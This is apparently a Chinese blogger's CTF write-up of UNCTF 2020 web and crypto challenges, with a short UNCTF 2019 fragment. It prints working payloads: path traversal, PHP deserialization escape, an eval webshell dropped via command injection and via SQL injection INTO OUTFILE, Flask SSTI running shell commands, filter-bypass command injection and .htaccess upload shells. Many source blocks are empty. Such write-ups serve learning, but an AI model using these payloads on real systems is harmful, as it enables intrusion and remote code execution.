记一下
UNCTF 2020
web
easy_ssrf
源码:
1 |
|
直接目录穿越 payload:
1 | ?url=unctf.com/../../../../../../flag |
easyunserialize
1 |
|
反序列化字符逃逸 正常序列化
1 |
|
需要添加的字符串 长度29
1 | ";s:8:"password";s:4:"easy";} |
替换后会由9变成13 长度变长4 列方程
1 | 9m + 29 = 13m |
除不尽 尝试增加需要添加的字符串的长度
1 | ";s:8:"password";s:4:"easy";}aaa |
此时 m= 8 即增加8个challenge
payload:
1 | ?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa |
babyeval
1 |
|
payload:
1 | ?a=`echo PD9waHAgCmV2YWwoJF9QT1NUWzFdKTsKPz4= | base64 -d > /tmp/moonback`; |
就成功getshell了 读flag.php
1 | ?a=include '/tmp/moonback'; |
那个正则是可以绕过的 .
不匹配换行 payload:
1 | echo base64_encode(%0Ashell_exec(%0A"cat flag.php")) |
ezphp
源码:
1 |
|
直接反序列化不行 猜测在包含的时候改了 直接弱类型:
1 |
|
easyflask
扫目录发现
注册登陆后发现有提示
1 | <!--<p> |
爆破secret key 没错了 找到一个项目 直接可以设置字典爆破 https://github.com/Paradoxis/Flask-Unsign
安装
1 | pip3 install flask-unsign |
指定字典爆破
1 | flask-unsign --unsign -c eyJ1c2VybmFtZSI6Im1vb25iYWNrIn0.X6tlEw.hNFdL65ytP6FX5DjI_Bdn3shj28 --no-literal-eval -w pass.txt |
生成字典
1 | import string |
加密不知道为啥不行 后来才知道 原来可以直接注册admin 进去之后会给hint 然后是ssti 贴一下大佬的 payload:
1 | {{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(117)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen("id").read() |
easyphp
源码:
1 |
|
变量覆盖 sha1弱比较 payload:
1 | ?adminPassword=202cb962ac59075b964b07152d234b70&password=123&verif=0e00000000000000000000081614617300000000 |
只是对值进行了多虑 可以用键来rce
1 | ?adminPassword=202cb962ac59075b964b07152d234b70&password=123&verif=0e00000000000000000000081614617300000000&GLOBALS[var1;system('env');$a]=1 |
最后eval执行的就是
1 | eval("$var1;system('env');$a='1';") |
其他payload:
1 | ?source=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1=${$a($b)}&a=system&b=env |
easy_upload
过滤
1 | perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet |
上传.htaccess
1 | AddType application/x-httpd-p\ |
上传马
1 | <?=`cat /*`; |
不知道为啥\
可以
UN’s_online_tools
空格过滤用%09
;
过滤用||
cat
过滤用ca\t
flag * 过滤用通配符????
payload:
1 | 127.0.0.1||ca\t%09/???? |
看下源码:
1 |
|
ezfind
有个提示
1 | if(!(is_file($name)===false)){flag}else{no flag} |
payload:
1 | ?name=%00 |
is_file($name)
不能等于flase有两种情况 一种是true 一种是空 后台应该限制了不能是文件 又一个trick
L0vephp
查看源代码发现:
1 | <!-- B4Z0-@:OCnDf, --> |
不知道是base85 哭了 解密之后是
1 | get action |
读源码index.php base64过滤了换rot13 index.php
1 |
|
flag.php
1 |
|
hint转16进制 1nD3x.php
1 |
|
原理:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
payload:
1 | 1nD3x.php?1[]=test&1[]=cat /flag_mdnrvvldb&2=system |
checkin-sql
看到这题立马想到了强网杯随便注 测了测过滤了
1 | use select |
查看所有数据库
1 | 1';SHOW DATABASES; |
测了测 发现 set 和 prepare 同时出现时会被过滤 单独出现则不会过滤 按照之前的思路构造写shell
1 | 1';PREPARE mb from 0x73656c65637420273132333c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f6d6f6f6e6261636b2e70687027;EXECUTE mb;# |
或者按照官方的wp
先创建存储过程
1 | 1'; |
接着调用先前定义的存储过程
1 | 1'; |
easy_flask2
源码:
1 | from flask import Flask,render_template,redirect,request,session,make_response |
pickle反序列化 过滤了R无法用
crypto
easy_rsa
1 | from Crypto.Util import number |
知道p+q和p-q能求出p和q 然后就能得到了 再复习一下加解密 m是明文,c是密文 n=p*q
加密
1 | m^e ≡ c (mod N) # c = pow(m,e,n) |
解密
1 | c^d ≡ m (mod N) # m = pow(c,d,n) |
鞍山大法官开庭之缺的营养这一块怎么补
题目
1 | 某日,鞍山大法官在点外卖时点了2个韭菜盒子,商家只送了1个,大法官给了该商家一个差评 |
培根密码 字母大写
1 | o -> a |
exp:
1 | letters1 = [ |
简单的RSA
维纳攻击 exp:
1 | import libnum |
wing
Windings2字体

一一对照就行
signin
题目:
1 | import random |
UNCTF 2019
简单的备忘录
看到是graphql 这是个啥呢?
GraphQL 是一种针对 Graph(图状数据)进行查询特别有优势的 Query Language(查询语言),所以叫做 GraphQL。它跟 SQL 的关系是共用 QL 后缀,就好像「汉语」和「英语」共用后缀一样,但他们本质上是不同的语言。GraphQL 跟用作存储的 NoSQL 没有必然联系,虽然 GraphQL 背后的实际存储可以选择 NoSQL 类型的数据库,但也可以用 SQL 类型的数据库,或者任意其它存储方式(例如文本文件、存内存里等等)。